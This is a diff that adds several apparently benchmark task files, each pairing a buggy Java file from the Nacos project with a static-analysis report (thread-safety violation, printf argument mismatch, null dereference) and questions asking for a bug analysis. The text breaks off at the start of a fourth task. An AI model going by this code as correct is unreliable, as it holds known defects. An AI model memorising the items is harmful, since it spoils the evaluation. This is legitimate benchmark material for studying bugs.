+                    throw new IllegalArgumentException("max check time for http or tcp is too small(<3000)");
+                }
+
+                if (dom.getHttpHealthParams().getFactor() < 0
+                    || dom.getHttpHealthParams().getFactor() > 1
+                    || dom.getTcpHealthParams().getFactor() < 0
+                    || dom.getTcpHealthParams().getFactor() > 1) {
+
+                    throw new IllegalArgumentException("malformed factor");
+                }
+
+                switchDomain = dom;
+            }
+
+            if (entry.equals(SwitchEntry.DISTRO_THRESHOLD)) {
+                Float threshold = Float.parseFloat(value);
+                if (threshold <= 0) {
+                    throw new IllegalArgumentException("distroThreshold can not be zero or negative: " + threshold);
+                }
+                switchDomain.setDistroThreshold(threshold);
+            }
+
+            if (entry.equals(SwitchEntry.CLIENT_BEAT_INTERVAL)) {
+                long clientBeatInterval = Long.parseLong(value);
+                switchDomain.setClientBeatInterval(clientBeatInterval);
+            }
+
+            if (entry.equals(SwitchEntry.PUSH_VERSION)) {
+
+                String type = value.split(":")[0];
+                String version = value.split(":")[1];
+
+                if (!version.matches(UtilsAndCommons.VERSION_STRING_SYNTAX)) {
+                    throw new IllegalArgumentException("illegal version, must match: " + UtilsAndCommons.VERSION_STRING_SYNTAX);
+                }
+
+                if (StringUtils.equals(SwitchEntry.CLIENT_JAVA, type)) {
+                    switchDomain.setPushJavaVersion(version);
+                } else if (StringUtils.equals(SwitchEntry.CLIENT_PYTHON, type)) {
+                    switchDomain.setPushPythonVersion(version);
+                } else if (StringUtils.equals(SwitchEntry.CLIENT_C, type)) {
+                    switchDomain.setPushCVersion(version);
+                } else if (StringUtils.equals(SwitchEntry.CLIENT_GO, type)) {
+                    switchDomain.setPushGoVersion(version);
+                } else {
+                    throw new IllegalArgumentException("unsupported client type: " + type);
+                }
+            }
+
+            if (entry.equals(SwitchEntry.PUSH_CACHE_MILLIS)) {
+                Long cacheMillis = Long.parseLong(value);
+
+                if (cacheMillis < SwitchEntry.MIN_PUSH_CACHE_TIME_MIILIS) {
+                    throw new IllegalArgumentException("min cache time for http or tcp is too small(<10000)");
+                }
+
+                switchDomain.setDefaultPushCacheMillis(cacheMillis);
+            }
+
+            // extremely careful while modifying this, cause it will affect all clients without pushing enabled
+            if (entry.equals(SwitchEntry.DEFAULT_CACHE_MILLIS)) {
+                Long cacheMillis = Long.parseLong(value);
+
+                if (cacheMillis < SwitchEntry.MIN_CACHE_TIME_MIILIS) {
+                    throw new IllegalArgumentException("min default cache time  is too small(<1000)");
+                }
+
+                switchDomain.setDefaultCacheMillis(cacheMillis);
+            }
+
+            if (entry.equals(SwitchEntry.MASTERS)) {
+                List<String> masters = Arrays.asList(value.split(","));
+                switchDomain.setMasters(masters);
+            }
+
+            if (entry.equals(SwitchEntry.DISTRO)) {
+                boolean enabled = Boolean.parseBoolean(value);
+                switchDomain.setDistroEnabled(enabled);
+            }
+
+            if (entry.equals(SwitchEntry.CHECK)) {
+                boolean enabled = Boolean.parseBoolean(value);
+                switchDomain.setHealthCheckEnabled(enabled);
+            }
+
+            if (entry.equals(SwitchEntry.PUSH_ENABLED)) {
+                boolean enabled = Boolean.parseBoolean(value);
+                switchDomain.setPushEnabled(enabled);
+            }
+
+            if (entry.equals(SwitchEntry.SERVICE_STATUS_SYNC_PERIOD)) {
+                Long millis = Long.parseLong(value);
+
+                if (millis < SwitchEntry.MIN_SERVICE_SYNC_TIME_MIILIS) {
+                    throw new IllegalArgumentException("serviceStatusSynchronizationPeriodMillis is too small(<5000)");
+                }
+
+                switchDomain.setServiceStatusSynchronizationPeriodMillis(millis);
+            }
+
+            if (entry.equals(SwitchEntry.SERVER_STATUS_SYNC_PERIOD)) {
+                Long millis = Long.parseLong(value);
+
+                if (millis < SwitchEntry.MIN_SERVER_SYNC_TIME_MIILIS) {
+                    throw new IllegalArgumentException("serverStatusSynchronizationPeriodMillis is too small(<15000)");
+                }
+
+                switchDomain.setServerStatusSynchronizationPeriodMillis(millis);
+            }
+
+            if (entry.equals(SwitchEntry.HEALTH_CHECK_TIMES)) {
+                Integer times = Integer.parseInt(value);
+
+                switchDomain.setCheckTimes(times);
+            }
+
+            if (entry.equals(SwitchEntry.DISABLE_ADD_IP)) {
+                boolean disableAddIP = Boolean.parseBoolean(value);
+
+                switchDomain.setDisableAddIP(disableAddIP);
+            }
+
+            if (entry.equals(SwitchEntry.SEND_BEAT_ONLY)) {
+                boolean sendBeatOnly = Boolean.parseBoolean(value);
+
+                switchDomain.setSendBeatOnly(sendBeatOnly);
+            }
+
+            if (entry.equals(SwitchEntry.LIMITED_URL_MAP)) {
+                Map<String, Integer> limitedUrlMap = new HashMap<>(16);
+                String limitedUrls = value;
+
+                if (!StringUtils.isEmpty(limitedUrls)) {
+                    String[] entries = limitedUrls.split(",");
+                    for (int i = 0; i < entries.length; i++) {
+                        String[] parts = entries[i].split(":");
+                        if (parts.length < 2) {
+                            throw new IllegalArgumentException("invalid input for limited urls");
+                        }
+
+                        String limitedUrl = parts[0];
+                        if (StringUtils.isEmpty(limitedUrl)) {
+                            throw new IllegalArgumentException("url can not be empty, url: " + limitedUrl);
+                        }
+
+                        int statusCode = Integer.parseInt(parts[1]);
+                        if (statusCode <= 0) {
+                            throw new IllegalArgumentException("illegal normal status code: " + statusCode);
+                        }
+
+                        limitedUrlMap.put(limitedUrl, statusCode);
+
+                    }
+
+                    switchDomain.setLimitedUrlMap(limitedUrlMap);
+                }
+            }
+
+            if (entry.equals(SwitchEntry.ENABLE_STANDALONE)) {
+                String enabled = value;
+
+                if (!StringUtils.isNotEmpty(enabled)) {
+                    switchDomain.setEnableStandalone(Boolean.parseBoolean(enabled));
+                }
+            }
+
+            if (entry.equals(SwitchEntry.OVERRIDDEN_SERVER_STATUS)) {
+                String status = value;
+                if (Constants.NULL_STRING.equals(status)) {
+                    status = StringUtils.EMPTY;
+                }
+                switchDomain.setOverriddenServerStatus(status);
+            }
+
+            if (entry.equals(SwitchEntry.SERVER_MODE)) {
+                String mode = value;
+                switchDomain.setServerMode(ServerMode.valueOf(mode).name());
+            }
+
+            if (debug) {
+                update(switchDomain);
+            } else {
+                consistencyService.put(UtilsAndCommons.getSwitchDomainKey(), switchDomain);
+            }
+
+        } finally {
+            lock.unlock();
+        }
+
+    }
+
+    public void update(SwitchDomain newSwitchDomain) {
+        switchDomain.setMasters(newSwitchDomain.getMasters());
+        switchDomain.setAdWeightMap(newSwitchDomain.getAdWeightMap());
+        switchDomain.setDefaultPushCacheMillis(newSwitchDomain.getDefaultPushCacheMillis());
+        switchDomain.setClientBeatInterval(newSwitchDomain.getClientBeatInterval());
+        switchDomain.setDefaultCacheMillis(newSwitchDomain.getDefaultCacheMillis());
+        switchDomain.setDistroThreshold(newSwitchDomain.getDistroThreshold());
+        switchDomain.setHealthCheckEnabled(newSwitchDomain.isHealthCheckEnabled());
+        switchDomain.setDistroEnabled(newSwitchDomain.isDistroEnabled());
+        switchDomain.setPushEnabled(newSwitchDomain.isPushEnabled());
+        switchDomain.setEnableStandalone(newSwitchDomain.isEnableStandalone());
+        switchDomain.setCheckTimes(newSwitchDomain.getCheckTimes());
+        switchDomain.setHttpHealthParams(newSwitchDomain.getHttpHealthParams());
+        switchDomain.setTcpHealthParams(newSwitchDomain.getTcpHealthParams());
+        switchDomain.setMysqlHealthParams(newSwitchDomain.getMysqlHealthParams());
+        switchDomain.setIncrementalList(newSwitchDomain.getIncrementalList());
+        switchDomain.setServerStatusSynchronizationPeriodMillis(newSwitchDomain.getServerStatusSynchronizationPeriodMillis());
+        switchDomain.setServiceStatusSynchronizationPeriodMillis(newSwitchDomain.getServiceStatusSynchronizationPeriodMillis());
+        switchDomain.setDisableAddIP(newSwitchDomain.isDisableAddIP());
+        switchDomain.setSendBeatOnly(newSwitchDomain.isSendBeatOnly());
+        switchDomain.setLimitedUrlMap(newSwitchDomain.getLimitedUrlMap());
+        switchDomain.setDistroServerExpiredMillis(newSwitchDomain.getDistroServerExpiredMillis());
+        switchDomain.setPushGoVersion(newSwitchDomain.getPushGoVersion());
+        switchDomain.setPushJavaVersion(newSwitchDomain.getPushJavaVersion());
+        switchDomain.setPushPythonVersion(newSwitchDomain.getPushPythonVersion());
+        switchDomain.setPushCVersion(newSwitchDomain.getPushCVersion());
+        switchDomain.setEnableAuthentication(newSwitchDomain.isEnableAuthentication());
+        switchDomain.setOverriddenServerStatus(newSwitchDomain.getOverriddenServerStatus());
+        switchDomain.setServerMode(newSwitchDomain.getServerMode());
+    }
+
+    public SwitchDomain getSwitchDomain() {
+        return switchDomain;
+    }
+
+    @Override
+    public boolean interests(String key) {
+        return KeyBuilder.matchSwitchKey(key);
+    }
+
+    @Override
+    public boolean matchUnlistenKey(String key) {
+        return KeyBuilder.matchSwitchKey(key);
+    }
+
+    @Override
+    public void onChange(String key, SwitchDomain domain) throws Exception {
+        update(domain);
+    }
+
+    @Override
+    public void onDelete(String key) throws Exception {
+
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `com.alibaba.nacos.naming.misc.SwitchManager.update` indirectly writes to field `this.com.alibaba.nacos.naming.misc.SwitchManager.switchDomain.com.alibaba.nacos.naming.misc.SwitchDomain.serverMode` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void SwitchManager.update(SwitchDomain)
+
+### Procedure Id:
+com.alibaba.nacos.naming.misc.SwitchManager.update(com.alibaba.nacos.naming.misc.SwitchDomain):void.385c901aabbb3633737d53a6aba19872
+
+### File:
+naming/src/main/java/com/alibaba/nacos/naming/misc/SwitchManager.java
+
+### Key:
+SwitchManager.java|update|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+f30a924dae06a2c3219c03b97d27c559
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5075/instruction.md b/inferredbugs-5075/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fa217fe2d786d738fdfd726ab0666cb293aad45a
--- /dev/null
+++ b/inferredbugs-5075/instruction.md
@@ -0,0 +1,209 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nacos
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.alibaba.nacos.core.listener;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.SpringApplicationRunListener;
+import org.springframework.boot.context.event.EventPublishingRunListener;
+import org.springframework.context.ConfigurableApplicationContext;
+import org.springframework.core.Ordered;
+import org.springframework.core.env.ConfigurableEnvironment;
+
+import java.io.IOException;
+import java.util.List;
+
+import static com.alibaba.nacos.common.util.SystemUtils.LOCAL_IP;
+import static com.alibaba.nacos.common.util.SystemUtils.NACOS_HOME;
+import static com.alibaba.nacos.common.util.SystemUtils.STANDALONE_MODE;
+import static com.alibaba.nacos.common.util.SystemUtils.readClusterConf;
+import static org.springframework.boot.context.logging.LoggingApplicationListener.CONFIG_PROPERTY;
+import static org.springframework.core.io.ResourceLoader.CLASSPATH_URL_PREFIX;
+
+/**
+ * Logging {@link SpringApplicationRunListener} before {@link EventPublishingRunListener} execution
+ *
+ * @author <a href="mailto:mercyblitz@gmail.com">Mercy</a>
+ * @since 0.2.2
+ */
+public class LoggingSpringApplicationRunListener implements SpringApplicationRunListener, Ordered {
+
+    private static final String DEFAULT_NACOS_LOGBACK_LOCATION = CLASSPATH_URL_PREFIX + "META-INF/logback/nacos.xml";
+
+    private static final Logger logger = LoggerFactory.getLogger(LoggingSpringApplicationRunListener.class);
+
+    private static final String MODE_PROPERTY_KEY = "nacos.mode";
+
+    private static final String LOCAL_IP_PROPERTY_KEY = "nacos.local.ip";
+
+    private final SpringApplication application;
+
+    private final String[] args;
+
+
+    public LoggingSpringApplicationRunListener(SpringApplication application, String[] args) {
+        this.application = application;
+        this.args = args;
+    }
+
+    @Override
+    public void starting() {
+    }
+
+    @Override
+    public void environmentPrepared(ConfigurableEnvironment environment) {
+        if (!environment.containsProperty(CONFIG_PROPERTY)) {
+            System.setProperty(CONFIG_PROPERTY, DEFAULT_NACOS_LOGBACK_LOCATION);
+            if (logger.isInfoEnabled()) {
+                logger.info("There is no property named \"{}\" in Spring Boot Environment, " +
+                                "and whose value is {} will be set into System's Properties", CONFIG_PROPERTY,
+                        DEFAULT_NACOS_LOGBACK_LOCATION);
+            }
+        }
+
+        if (STANDALONE_MODE) {
+            System.setProperty(MODE_PROPERTY_KEY, "stand alone");
+        } else {
+            System.setProperty(MODE_PROPERTY_KEY, "cluster");
+        }
+
+        System.setProperty(LOCAL_IP_PROPERTY_KEY, LOCAL_IP);
+    }
+
+    @Override
+    public void contextPrepared(ConfigurableApplicationContext context) {
+        System.out.printf("Log files: %s/logs/%n", NACOS_HOME);
+        System.out.printf("Conf files: %s/conf/%n", NACOS_HOME);
+        System.out.printf("Data files: %s/data/%n", NACOS_HOME);
+
+        if (!STANDALONE_MODE) {
+            try {
+                List<String> clusterConf = readClusterConf();
+                System.out.printf("The server IP list of Nacos is %s%n", clusterConf);
+            } catch (IOException e) {
+                logger.error("read cluster conf fail", e);
+            }
+        }
+
+        System.out.println();
+    }
+
+    @Override
+    public void contextLoaded(ConfigurableApplicationContext context) {
+
+    }
+
+    @Override
+    public void started(ConfigurableApplicationContext context) {
+
+    }
+
+    @Override
+    public void running(ConfigurableApplicationContext context) {
+
+    }
+
+    @Override
+    public void failed(ConfigurableApplicationContext context, Throwable exception) {
+
+    }
+
+    /**
+     * Before {@link EventPublishingRunListener}
+     *
+     * @return HIGHEST_PRECEDENCE
+     */
+    @Override
+    public int getOrder() {
+        return HIGHEST_PRECEDENCE;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+CHECKERS_PRINTF_ARGS
+
+### Qualifier:
+format string arguments don't mach provided arguments in printf(...) at line 90.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void LoggingSpringApplicationRunListener.contextPrepared(ConfigurableApplicationContext)
+
+### Procedure Id:
+com.alibaba.nacos.core.listener.LoggingSpringApplicationRunListener.contextPrepared(org.springframew.bacf42e251b83dc32835501115a6eea8
+
+### File:
+core/src/main/java/com/alibaba/nacos/core/listener/LoggingSpringApplicationRunListener.java
+
+### Key:
+LoggingSpringApplicationRunListener.java|contextPrepared|CHECKERS_PRINTF_ARGS
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+055a5300e6c42a84c2d0c33bd2506e25
+
+### Bug Type Hum:
+Checkers Printf Args
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5081/instruction.md b/inferredbugs-5081/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c029be4613388539f2773c0ee555df3af041c0c3
--- /dev/null
+++ b/inferredbugs-5081/instruction.md
@@ -0,0 +1,389 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nacos
+**Bug ID:** 28
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 1999-2018 Alibaba Group Holding Ltd.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.alibaba.nacos.client.config;
+
+import com.alibaba.nacos.api.PropertyKeyConst;
+import com.alibaba.nacos.api.SystemPropertyKeyConst;
+import com.alibaba.nacos.api.common.Constants;
+import com.alibaba.nacos.api.config.ConfigService;
+import com.alibaba.nacos.api.config.listener.Listener;
+import com.alibaba.nacos.api.exception.NacosException;
+import com.alibaba.nacos.client.config.filter.impl.ConfigFilterChainManager;
+import com.alibaba.nacos.client.config.filter.impl.ConfigRequest;
+import com.alibaba.nacos.client.config.filter.impl.ConfigResponse;
+import com.alibaba.nacos.client.config.http.HttpAgent;
+import com.alibaba.nacos.client.config.http.MetricsHttpAgent;
+import com.alibaba.nacos.client.config.http.ServerHttpAgent;
+import com.alibaba.nacos.client.config.impl.ClientWorker;
+import com.alibaba.nacos.client.config.impl.HttpSimpleClient.HttpResult;
+import com.alibaba.nacos.client.config.impl.LocalConfigInfoProcessor;
+import com.alibaba.nacos.client.config.utils.ContentUtils;
+import com.alibaba.nacos.client.config.utils.ParamUtils;
+import com.alibaba.nacos.client.utils.LogUtils;
+import com.alibaba.nacos.client.utils.TemplateUtils;
+import com.alibaba.nacos.client.utils.TenantUtil;
+import org.apache.commons.lang3.StringUtils;
+import org.slf4j.Logger;
+
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Properties;
+import java.util.concurrent.Callable;
+
+/**
+ * Config Impl
+ *
+ * @author Nacos
+ */
+@SuppressWarnings("PMD.ServiceOrDaoClassShouldEndWithImplRule")
+public class NacosConfigService implements ConfigService {
+
+    private static final Logger LOGGER = LogUtils.logger(NacosConfigService.class);
+
+    private static final long POST_TIMEOUT = 3000L;
+
+    private static final String EMPTY = "";
+
+    /**
+     * http agent
+     */
+    private HttpAgent agent;
+    /**
+     * longpolling
+     */
+    private ClientWorker worker;
+    private String namespace;
+    private String encode;
+    private ConfigFilterChainManager configFilterChainManager = new ConfigFilterChainManager();
+
+    public NacosConfigService(Properties properties) throws NacosException {
+        String encodeTmp = properties.getProperty(PropertyKeyConst.ENCODE);
+        if (StringUtils.isBlank(encodeTmp)) {
+            encode = Constants.ENCODE;
+        } else {
+            encode = encodeTmp.trim();
+        }
+        initNamespace(properties);
+        agent = new MetricsHttpAgent(new ServerHttpAgent(properties));
+        agent.start();
+        worker = new ClientWorker(agent, configFilterChainManager, properties);
+    }
+
+    private void initNamespace(Properties properties) {
+        String namespaceTmp = null;
+
+        String isUseCloudNamespaceParsing =
+            properties.getProperty(PropertyKeyConst.IS_USE_CLOUD_NAMESPACE_PARSING,
+                System.getProperty(SystemPropertyKeyConst.IS_USE_CLOUD_NAMESPACE_PARSING,
+                    String.valueOf(Constants.DEFAULT_USE_CLOUD_NAMESPACE_PARSING)));
+
+        if (Boolean.parseBoolean(isUseCloudNamespaceParsing)) {
+            namespaceTmp = TemplateUtils.stringBlankAndThenExecute(namespaceTmp, new Callable<String>() {
+                @Override
+                public String call() {
+                    return TenantUtil.getUserTenantForAcm();
+                }
+            });
+
+            namespaceTmp = TemplateUtils.stringBlankAndThenExecute(namespaceTmp, new Callable<String>() {
+                @Override
+                public String call() {
+                    String namespace = System.getenv(PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_NAMESPACE);
+                    return StringUtils.isNotBlank(namespace) ? namespace : EMPTY;
+                }
+            });
+        }
+
+        if (StringUtils.isBlank(namespaceTmp)) {
+            namespaceTmp = properties.getProperty(PropertyKeyConst.NAMESPACE);
+        }
+        namespace = StringUtils.isNotBlank(namespaceTmp) ? namespaceTmp.trim() : EMPTY;
+        properties.put(PropertyKeyConst.NAMESPACE, namespace);
+    }
+
+    @Override
+    public String getConfig(String dataId, String group, long timeoutMs) throws NacosException {
+        return getConfigInner(namespace, dataId, group, timeoutMs);
+    }
+
+    @Override
+    public String getConfigAndSignListener(String dataId, String group, long timeoutMs, Listener listener) throws NacosException {
+        String content = getConfig(dataId, group, timeoutMs);
+        worker.addTenantListenersWithContent(dataId, group, content, Arrays.asList(listener));
+        return content;
+    }
+
+    @Override
+    public void addListener(String dataId, String group, Listener listener) throws NacosException {
+        worker.addTenantListeners(dataId, group, Arrays.asList(listener));
+    }
+
+    @Override
+    public boolean publishConfig(String dataId, String group, String content) throws NacosException {
+        return publishConfigInner(namespace, dataId, group, null, null, null, content);
+    }
+
+    @Override
+    public boolean removeConfig(String dataId, String group) throws NacosException {
+        return removeConfigInner(namespace, dataId, group, null);
+    }
+
+    @Override
+    public void removeListener(String dataId, String group, Listener listener) {
+        worker.removeTenantListener(dataId, group, listener);
+    }
+
+    private String getConfigInner(String tenant, String dataId, String group, long timeoutMs) throws NacosException {
+        group = null2defaultGroup(group);
+        ParamUtils.checkKeyParam(dataId, group);
+        ConfigResponse cr = new ConfigResponse();
+
+        cr.setDataId(dataId);
+        cr.setTenant(tenant);
+        cr.setGroup(group);
+
+        // 优先使用本地配置
+        String content = LocalConfigInfoProcessor.getFailover(agent.getName(), dataId, group, tenant);
+        if (content != null) {
+            LOGGER.warn("[{}] [get-config] get failover ok, dataId={}, group={}, tenant={}, config={}", agent.getName(),
+                dataId, group, tenant, ContentUtils.truncateContent(content));
+            cr.setContent(content);
+            configFilterChainManager.doFilter(null, cr);
+            content = cr.getContent();
+            return content;
+        }
+
+        try {
+            content = worker.getServerConfig(dataId, group, tenant, timeoutMs);
+
+            cr.setContent(content);
+
+            configFilterChainManager.doFilter(null, cr);
+            content = cr.getContent();
+
+            return content;
+        } catch (NacosException ioe) {
+            if (NacosException.NO_RIGHT == ioe.getErrCode()) {
+                throw ioe;
+            }
+            LOGGER.warn("[{}] [get-config] get from server error, dataId={}, group={}, tenant={}, msg={}",
+                agent.getName(), dataId, group, tenant, ioe.toString());
+        }
+
+        LOGGER.warn("[{}] [get-config] get snapshot ok, dataId={}, group={}, tenant={}, config={}", agent.getName(),
+            dataId, group, tenant, ContentUtils.truncateContent(content));
+        content = LocalConfigInfoProcessor.getSnapshot(agent.getName(), dataId, group, tenant);
+        cr.setContent(content);
+        configFilterChainManager.doFilter(null, cr);
+        content = cr.getContent();
+        return content;
+    }
+
+    private String null2defaultGroup(String group) {
+        return (null == group) ? Constants.DEFAULT_GROUP : group.trim();
+    }
+
+    private boolean removeConfigInner(String tenant, String dataId, String group, String tag) throws NacosException {
+        group = null2defaultGroup(group);
+        ParamUtils.checkKeyParam(dataId, group);
+        String url = Constants.CONFIG_CONTROLLER_PATH;
+        List<String> params = new ArrayList<String>();
+        params.add("dataId");
+        params.add(dataId);
+        params.add("group");
+        params.add(group);
+        if (StringUtils.isNotEmpty(tenant)) {
+            params.add("tenant");
+            params.add(tenant);
+        }
+        if (StringUtils.isNotEmpty(tag)) {
+            params.add("tag");
+            params.add(tag);
+        }
+        HttpResult result = null;
+        try {
+            result = agent.httpDelete(url, null, params, encode, POST_TIMEOUT);
+        } catch (IOException ioe) {
+            LOGGER.warn("[remove] error, " + dataId + ", " + group + ", " + tenant + ", msg: " + ioe.toString());
+            return false;
+        }
+
+        if (HttpURLConnection.HTTP_OK == result.code) {
+            LOGGER.info("[{}] [remove] ok, dataId={}, group={}, tenant={}", agent.getName(), dataId, group, tenant);
+            return true;
+        } else if (HttpURLConnection.HTTP_FORBIDDEN == result.code) {
+            LOGGER.warn("[{}] [remove] error, dataId={}, group={}, tenant={}, code={}, msg={}", agent.getName(), dataId,
+                group, tenant, result.code, result.content);
+            throw new NacosException(result.code, result.content);
+        } else {
+            LOGGER.warn("[{}] [remove] error, dataId={}, group={}, tenant={}, code={}, msg={}", agent.getName(), dataId,
+                group, tenant, result.code, result.content);
+            return false;
+        }
+    }
+
+    private boolean publishConfigInner(String tenant, String dataId, String group, String tag, String appName,
+                                       String betaIps, String content) throws NacosException {
+        group = null2defaultGroup(group);
+        ParamUtils.checkParam(dataId, group, content);
+
+        ConfigRequest cr = new ConfigRequest();
+        cr.setDataId(dataId);
+        cr.setTenant(tenant);
+        cr.setGroup(group);
+        cr.setContent(content);
+        configFilterChainManager.doFilter(cr, null);
+        content = cr.getContent();
+
+        String url = Constants.CONFIG_CONTROLLER_PATH;
+        List<String> params = new ArrayList<String>();
+        params.add("dataId");
+        params.add(dataId);
+        params.add("group");
+        params.add(group);
+        params.add("content");
+        params.add(content);
+        if (StringUtils.isNotEmpty(tenant)) {
+            params.add("tenant");
+            params.add(tenant);
+        }
+        if (StringUtils.isNotEmpty(appName)) {
+            params.add("appName");
+            params.add(appName);
+        }
+        if (StringUtils.isNotEmpty(tag)) {
+            params.add("tag");
+            params.add(tag);
+        }
+
+        List<String> headers = new ArrayList<String>();
+        if (StringUtils.isNotEmpty(betaIps)) {
+            headers.add("betaIps");
+            headers.add(betaIps);
+        }
+
+        HttpResult result = null;
+        try {
+            result = agent.httpPost(url, headers, params, encode, POST_TIMEOUT);
+        } catch (IOException ioe) {
+            LOGGER.warn("[{}] [publish-single] exception, dataId={}, group={}, msg={}", agent.getName(), dataId,
+                group, ioe.toString());
+            return false;
+        }
+
+        if (HttpURLConnection.HTTP_OK == result.code) {
+            LOGGER.info("[{}] [publish-single] ok, dataId={}, group={}, tenant={}, config={}", agent.getName(), dataId,
+                group, tenant, ContentUtils.truncateContent(content));
+            return true;
+        } else if (HttpURLConnection.HTTP_FORBIDDEN == result.code) {
+            LOGGER.warn("[{}] [publish-single] error, dataId={}, group={}, tenant={}, code={}, msg={}", agent.getName(),
+                dataId, group, tenant, result.code, result.content);
+            throw new NacosException(result.code, result.content);
+        } else {
+            LOGGER.warn("[{}] [publish-single] error, dataId={}, group={}, tenant={}, code={}, msg={}", agent.getName(),
+                dataId, group, tenant, result.code, result.content);
+            return false;
+        }
+
+    }
+
+    @Override
+    public String getServerStatus() {
+        if (worker.isHealthServer()) {
+            return "UP";
+        } else {
+            return "DOWN";
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `namespaceTmp` last assigned on line 89 could be null and is dereferenced at line 116.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void NacosConfigService.initNamespace(Properties)
+
+### Procedure Id:
+com.alibaba.nacos.client.config.NacosConfigService.initNamespace(java.util.Properties):void.adfb9da539c862d441e2a965f6d93c14
+
+### File:
+client/src/main/java/com/alibaba/nacos/client/config/NacosConfigService.java
+
+### Key:
+NacosConfigService.java|initNamespace|NULL_DEREFERENCE
+
+### Node Key:
+403b923eb008d1cc6b180a4b1bc6a1bb
+
+### Hash:
+00dbd84080628cad7be8a512eb2010bb
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5086/instruction.md b/inferredbugs-5086/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c806109328c16732a91b0ebd64ed9a268fbec0e5
--- /dev/null
+++ b/inferredbugs-5086/instruction.md
@@ -0,0 +1,984 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nacos
+**Bug ID:** 26
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 1999-2018 Alibaba Group Holding Ltd.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
